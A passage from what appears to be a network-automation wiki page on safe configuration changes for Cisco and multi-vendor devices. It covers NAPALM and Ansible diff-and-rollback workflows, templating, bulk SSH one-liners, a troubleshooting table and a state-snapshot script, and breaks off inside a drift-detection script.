vendor-neutral backup task, and `ansible.utils.cli_parse` runs TextFSM, TTP or native parsers on any command output inside a playbook. > [!WARNING] A config push can remove your own access > Use a confirmed commit (`revert_in`, `configure replace ... time`) or `reload in 10` before the change and `reload cancel` after verifying. On a device with neither, arrange console access first. See [Cisco change safety](https://www.wiki.jodisand.me/cisco/#recovery-and-change-safety). Order matters for anything on the path you are connected over: add the new configuration, verify, then remove the old. An ACL applied before your own permit ends the session. ## Configuration diff and rollback A change is safe when three artefacts exist before it runs: the running config as it was, the intended config, and the diff between them. Which tool makes the diff depends on the platform, but the shape is the same. | Approach | Diff | Rollback | Notes | | --- | --- | --- | --- | | NAPALM `load_replace_candidate` + `compare_config` | Exact, device-generated on EOS/Junos; `configure replace` diff on IOS | `commit_config(revert_in=)` then `confirm_commit()`, or `rollback()` after commit | Replace is the only way to remove config you did not list | | NAPALM `load_merge_candidate` | Lines to add | `rollback()` restores the pre-change archive on IOS | Cannot remove lines | | Ansible `ios_config` `--check --diff` | Line-based, what Ansible would send | `backup: true` gives a file; restoring it is a `configure replace` you run yourself | `diff_against: intended` for compliance runs | | Netmiko `send_config_set` | None; capture `show run` before and after and `diff -u` | Manual | Pair with `reload in` on the device | | Git-backed intended configs plus `configure replace` | `git diff` | `configure replace flash:previous.cfg` | The device applies exactly the file; the repository is the source of truth | ```python # Replace the whole config from a rendered template, with a timed revert and post-checks import difflib with driver("sw-01.example.com", user, password) as dev: before = dev.get_config(retrieve="running")["running"] dev.load_replace_candidate(filename="rendered/sw-01.cfg") diff = dev.compare_config() if not diff: dev.discard_config(); print("no change"); raise SystemExit print(diff) dev.commit_config(revert_in=300) # device reverts in 5 minutes unless confirmed checks = dev.compliance_report("validate.yml") if checks["complies"] and dev.ping("192.0.2.1")["success"]["packet_loss"] == 0: dev.confirm_commit() else: dev.rollback() # explicit, rather than waiting for the timer raise SystemExit("post-checks failed; rolled back") after = dev.get_config(retrieve="running")["running"] open("diffs/sw-01.diff", "w").writelines(difflib.unified_diff(before.splitlines(True), after.splitlines(True), "before", "after")) ``` `has_pending_commit()` tells you whether a previous run left a timer running; call it first and `confirm_commit()` or `rollback()` before loading a new candidate. IOS keeps the pre-change snapshot under the `archive` path (`rollback-`), so `rollback()` works after `confirm_commit()` too, until the archive rotates. On NX-OS, which has no confirmed commit, use `checkpoint` and `rollback running-config checkpoint ` through `cli()` around the change. ```yaml # Ansible: back up, change with a diff, verify, and restore the backup on failure - name: Change with rollback hosts: ios gather_facts: false tasks: - name: Backup cisco.ios.ios_config: backup: true backup_options: { dir_path: "backups/{{ inventory_hostname }}", filename: pre-change.cfg } check_mode: false - name: Copy the backup to flash for configure replace ansible.netcommon.net_put: src: "backups/{{ inventory_hostname }}/pre-change.cfg" dest: flash:pre-change.cfg check_mode: false - name: Apply block: - name: Push change cisco.ios.ios_config: src: templates/change.j2 diff_against: running - name: Verify cisco.ios.ios_command: commands: [show ip ospf neighbor] wait_for: [result[0] contains FULL] retries: 6 interval: 10 rescue: - name: Roll back to the pre-change config cisco.ios.ios_command: commands: - command: configure replace flash:pre-change.cfg force - name: Fail the play after restoring ansible.builtin.fail: msg: "verification failed on {{ inventory_hostname }}; configuration restored" ``` Normalise before diffing: strip timestamps, `ntp clock-period`, `! Last configuration change` and the `Building configuration` header, or every backup differs. Type 7 passwords re-encode with a different salt on some platforms, which is another false diff; `diff_ignore_lines` in Ansible and a `sed` filter in scripts handle both. ## Idempotence and templates Render the intended configuration from data, compare it with the running configuration, and push only the difference. Reruns are then safe and the repository becomes the source of truth. ```python from jinja2 import Environment, FileSystemLoader, StrictUndefined env = Environment(loader=FileSystemLoader("templates"), trim_blocks=True, lstrip_blocks=True, undefined=StrictUndefined) # fail on a missing variable instead of rendering blank cfg = env.get_template("switch.j2").render(hostname="sw-01", vlans=[10, 20, 30]) ``` ```jinja hostname {{ hostname }} {% for vlan in vlans %} vlan {{ vlan }} name VLAN{{ vlan }} {% endfor %} ``` Batfish analyses configuration files offline and answers reachability and ACL questions, which catches a broken ACL before deployment. pyATS/Genie parses and compares device state before and after a change. ## Bulk operations safely ```python from concurrent.futures import ThreadPoolExecutor from pathlib import Path def collect(host: str) -> tuple[str, str]: with ConnectHandler(host=host, **base) as c: return host, c.send_command("show version") with ThreadPoolExecutor(max_workers=10) as pool: # devices and TACACS/RADIUS servers cap concurrent sessions for host, out in pool.map(collect, hosts): Path(f"out/{host}.txt").write_text(out) ``` Stage changes: one device, then one site, then the fleet, verifying between each. Capture state before and after on every device so a rollback has something to compare against. ## Discovery and verification ```sh fping -a -g 192.0.2.0/24 2>/dev/null # addresses that answer ICMP nmap -sn 192.0.2.0/24 -oG - # host discovery, greppable output snmpwalk -v2c -c "$SNMP_COMMUNITY" sw-01.example.com IF-MIB::ifDescr # interface list via SNMP ``` `dev.get_lldp_neighbors()` from NAPALM builds a topology from the devices themselves. Verify after every change against state collected before it: interface counters, neighbour tables, route counts and a targeted reachability test. A command that applied without error has not been verified. ## Troubleshooting | Symptom | Cause | Check | | --- | --- | --- | | `NetmikoAuthenticationException` on some devices | AAA policy differs by device group, or local fallback account differs | Log in by hand with the same account; check TACACS/RADIUS logs | | `NetmikoTimeoutException` | TCP connect failed: routing, ACL on VTY lines, wrong port | `nc -vz host 22`; `conn_timeout` | | `ReadTimeout: Pattern not detected` | Prompt changed (hostname change, config mode, confirmation prompt) or command slower than `read_timeout` | Set `expect_string` or raise `read_timeout`; enable `session_log` | | `use_textfsm=True` returns a string | No template for that platform and command, or output did not match | Check the ntc-templates index; parse manually or add a template | | Parsed keys missing after an upgrade | ntc-templates 4.0 renamed fields | Update key names (`ip_address` not `ipaddr`) | | Works interactively, fails in a script | `enable` not called, or the command needs config mode | `conn.check_enable_mode()`, `send_config_set` | | Random failures at scale | Too many concurrent sessions; VTY lines or AAA rate limits exhausted | Lower workers; `show users` on the device | | NAPALM IOS commit fails | SCP server disabled or no archive configured | `ip scp server enable`, `archive path flash:...` | | Ansible `network_cli` hangs or times out | Wrong `ansible_network_os`, or enable not configured | `ansible-playbook -vvvv`; set `ANSIBLE_PERSISTENT_COMMAND_TIMEOUT` | | Config applied but gone after reload | Never saved | `save_config()`, `save_when: modified`, `copy run start` | | `send_config_set` "succeeded" but the config is wrong | IOS printed `% Invalid input` and carried on | Check the returned output for `%`; use `cmd_verify=True` (default) | | NAPALM `compare_config` shows the whole config as changed | Candidate missing lines the device adds itself, or line-ending/encoding differences | Start from `get_config()` output, edit, and re-replace; check for `\r` | | NAPALM `commit_config(revert_in=)` raises on IOS | Archive not configured, or an earlier pending commit | `archive` + `path flash:...`; `has_pending_commit()` | | Ansible resource module reports `changed` every run | Device normalises values (VLAN lists, case, ranges) differently from the data | Compare `gathered` output with your data and match its form | | `ios_command` `wait_for` never passes | Wrong conditional syntax or output has ANSI/paging | Use `result[0] contains X`; check `terminal length 0` ran | | Ansible persistent connection hangs after a hostname change | Prompt no longer matches | Finish the play, or `meta: reset_connection` after the change | | `net_put` / SCP transfer fails | SCP server disabled or no space on flash | `ip scp server enable`; `dir flash:` | | Nornir skips hosts on a second run in the same process | Hosts marked failed earlier | `nr.data.reset_failed_hosts()` | | TextFSM template parses but returns fewer rows than expected | Output format changed with the software release | Compare raw output with the template's regex; open an ntc-templates issue or add a template | ```python import logging logging.basicConfig(filename="netmiko_debug.log", level=logging.DEBUG) # library debug log device["session_log"] = "session.log" # full transcript of what was sent and received ``` > [!CAUTION] > Netmiko masks the login password and enable secret in the session log, but everything else is recorded, including `show running-config` output and any keys or community strings you configure. Keep it out of shared storage and delete it when done. ## Oneliners ```sh # Reachability sweep fping -a -g 192.0.2.0/24 2>/dev/null | tee reachable.txt # Run one command on every device and keep the output while read -r h; do echo "== $h"; ssh -o ConnectTimeout=5 "$h" 'show version | include uptime'; done < hosts.txt # Diff a device's running config against the repository copy ssh sw-01.example.com 'show running-config' | diff -u configs/sw-01.cfg - | head -40 # Parse saved command output into JSON python3 -c 'import sys,json;from ntc_templates.parse import parse_output;print(json.dumps(parse_output(platform="cisco_ios",command=sys.argv[1],data=sys.stdin.read())))' "show ip interface brief" < out.txt # Interfaces that are down but not administratively down ssh sw-01.example.com 'show ip interface brief' | awk '$5=="down" && $6=="down"' # Back up every device before a change window while read -r h; do ssh "$h" 'show running-config' > "backups/$h-$(date +%F).cfg"; done < hosts.txt # Find a MAC address across the fleet while read -r h; do ssh "$h" 'show mac address-table | include 0011.2233' | sed "s/^/$h /"; done < hosts.txt # Count routes before and after a change ssh rtr-01.example.com 'show ip route summary | include Total' # Normalise a config for diffing (strip volatile lines) sed -E '/^(Building configuration|Current configuration|! Last configuration change|! NVRAM config last updated|ntp clock-period)/d' sw-01.cfg > sw-01.norm.cfg # Diff every backup against the previous day's copy and list devices that changed for f in backups/*-"$(date +%F)".cfg; do h=${f#backups/}; h=${h%-*}; diff -q "backups/$h-$(date -d yesterday +%F).cfg" "$f" >/dev/null || echo "$h changed"; done # Facts from every device as JSON with NAPALM's CLI napalm --user "$NET_USER" --password "$NET_PASS" --vendor ios sw-01.example.com call get_facts # Diff a candidate config against the device without applying it napalm --user "$NET_USER" --password "$NET_PASS" --vendor ios sw-01.example.com configure candidate.cfg --strategy replace --dry-run # Validate a device against a state file, exit non-zero on failure napalm --user "$NET_USER" --password "$NET_PASS" --vendor ios sw-01.example.com validate validate.yml # Ansible: run one show command everywhere and print output per host ansible ios -m cisco.ios.ios_command -a 'commands="show ip interface brief"' | sed -n '/stdout_lines/,/]/p' # Ansible: gather structured facts for one host into JSON ansible sw-01.example.com -m cisco.ios.ios_facts -a 'gather_subset=min gather_network_resources=interfaces' > facts.json # Ansible: back up every device with the vendor-neutral module ansible ios -m ansible.netcommon.cli_backup -a 'dir_path=backups/' # Ansible: what a playbook would change, for one site ansible-playbook change.yml --check --diff --limit site_syd # Which ntc-templates exist for a platform python3 -c 'import ntc_templates,os;p=os.path.join(os.path.dirname(ntc_templates.__file__),"templates");print("\n".join(sorted(f for f in os.listdir(p) if f.startswith("cisco_ios"))))' # Test a TextFSM template against saved output python3 -c 'import sys,textfsm;print(textfsm.TextFSM(open(sys.argv[1])).ParseTextToDicts(open(sys.argv[2]).read()))' template.textfsm out.txt # Devices whose SSH host key changed since the last run (possible replacement or MITM) while read -r h; do ssh-keyscan -t ed25519 -T 5 "$h" 2>/dev/null | ssh-keygen -lf - ; done < hosts.txt | sort > keys.new; diff keys.old keys.new # SSH algorithm negotiation failure on old IOS: allow legacy kex for one connection ssh -o KexAlgorithms=+diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-rsa sw-old.example.com # Software version distribution across the fleet while read -r h; do ssh "$h" 'show version | include Version' | head -1 | sed "s/^/$h /"; done < hosts.txt | awk '{print $NF}' | sort | uniq -c # Interfaces with errors across the fleet (raw counters, no parser) while read -r h; do ssh "$h" 'show interfaces | include line protocol|input errors' | paste - - | awk -v h="$h" '$NF+0>0 || $(NF-6)+0>0 {print h, $1}'; done < hosts.txt # LLDP neighbour list from every device, as edges for a topology while read -r h; do ssh "$h" 'show lldp neighbors detail | include System Name|Port id|Local Intf' | paste - - - | sed "s/^/$h /"; done < hosts.txt # Uptime under a day (devices that reloaded recently) while read -r h; do ssh "$h" 'show version | include uptime' | grep -vE 'week|day' | sed "s/^/$h /"; done < hosts.txt # Serial numbers for an inventory or RMA while read -r h; do ssh "$h" 'show inventory | include SN:' | head -1 | sed "s/^/$h /"; done < hosts.txt # Batfish: check reachability against a directory of configs (needs a running batfish container) python3 -c 'from pybatfish.client.session import Session;bf=Session();bf.init_snapshot("configs/",name="s",overwrite=True);print(bf.q.reachability(pathConstraints={"startLocation":"sw-01"},headers={"dstIps":"192.0.2.10","applications":["ssh"]}).answer().frame())' # Count of lines per config file, to spot a truncated backup wc -l backups/*.cfg | sort -n | head ``` ## Scripts Collect a state baseline from every device before a change window and compare it afterwards, reporting neighbours, routes and interfaces that differ. ```python #!/usr/bin/env python3 """Snapshot or compare network state with NAPALM. Usage: netstate.py snapshot hosts.txt before/ netstate.py compare before/ after/ Credentials from NET_USER and NET_PASS. """ import json import os import sys from concurrent.futures import ThreadPoolExecutor from pathlib import Path from napalm import get_network_driver GETTERS = ["get_facts", "get_interfaces", "get_lldp_neighbors", "get_bgp_neighbors", "get_arp_table"] def snapshot(host: str, outdir: Path) -> str: driver = get_network_driver(os.environ.get("NET_DRIVER", "ios")) with driver(host, os.environ["NET_USER"], os.environ["NET_PASS"], optional_args={"secret": os.environ.get("NET_ENABLE", "")}) as dev: state = {g: getattr(dev, g)() for g in GETTERS} routes = dev.cli(["show ip route summary"])["show ip route summary"] state["route_summary"] = [l for l in routes.splitlines() if l.strip().startswith(("Total", "connected", "static", "ospf", "bgp"))] state["interfaces_up"] = sorted(i for i, d in state["get_interfaces"].items() if d["is_up"]) state["bgp_up"] = sorted(p for p, d in state["get_bgp_neighbors"].get("global", {}).get("peers", {}).items() if d["is_up"]) state["lldp"] = sorted(f"{i} -> {n['hostname']}:{n['port']}" for i, ns in state["get_lldp_neighbors"].items() for n in ns) (outdir / f"{host}.json").write_text(json.dumps(state, indent=1, sort_keys=True, default=str)) return host def compare(a: Path, b: Path) -> int: rc = 0 for fa in sorted(a.glob("*.json")): fb = b / fa.name if not fb.exists(): print(f"{fa.stem}: missing in {b}"); rc = 1; continue sa, sb = json.loads(fa.read_text()), json.loads(fb.read_text()) for key in ("interfaces_up", "bgp_up", "lldp", "route_summary"): lost, gained = sorted(set(sa[key]) - set(sb[key])), sorted(set(sb[key]) - set(sa[key])) if lost or gained: rc = 1 print(f"{fa.stem} {key}: -{lost} +{gained}") return rc if sys.argv[1] == "snapshot": hosts = [h.strip() for h in open(sys.argv[2]) if h.strip() and not h.startswith("#")] out = Path(sys.argv[3]); out.mkdir(parents=True, exist_ok=True) with ThreadPoolExecutor(max_workers=10) as pool: for fut in [pool.submit(snapshot, h, out) for h in hosts]: try: print("ok", fut.result()) except Exception as exc: print("FAILED", exc, file=sys.stderr) else: sys.exit(compare(Path(sys.argv[2]), Path(sys.argv[3]))) ``` Render per-device configs from a YAML source of truth and Jinja templates, then diff each against the live device with NAPALM without applying, as a CI job that fails on drift. ```python #!/usr/bin/env python3 """Render intended configs and report drift against live devices. Usage: drift.py devices.yml templates/ [--apply] devices.yml: a list of {host, platform, template, vars...}; templates/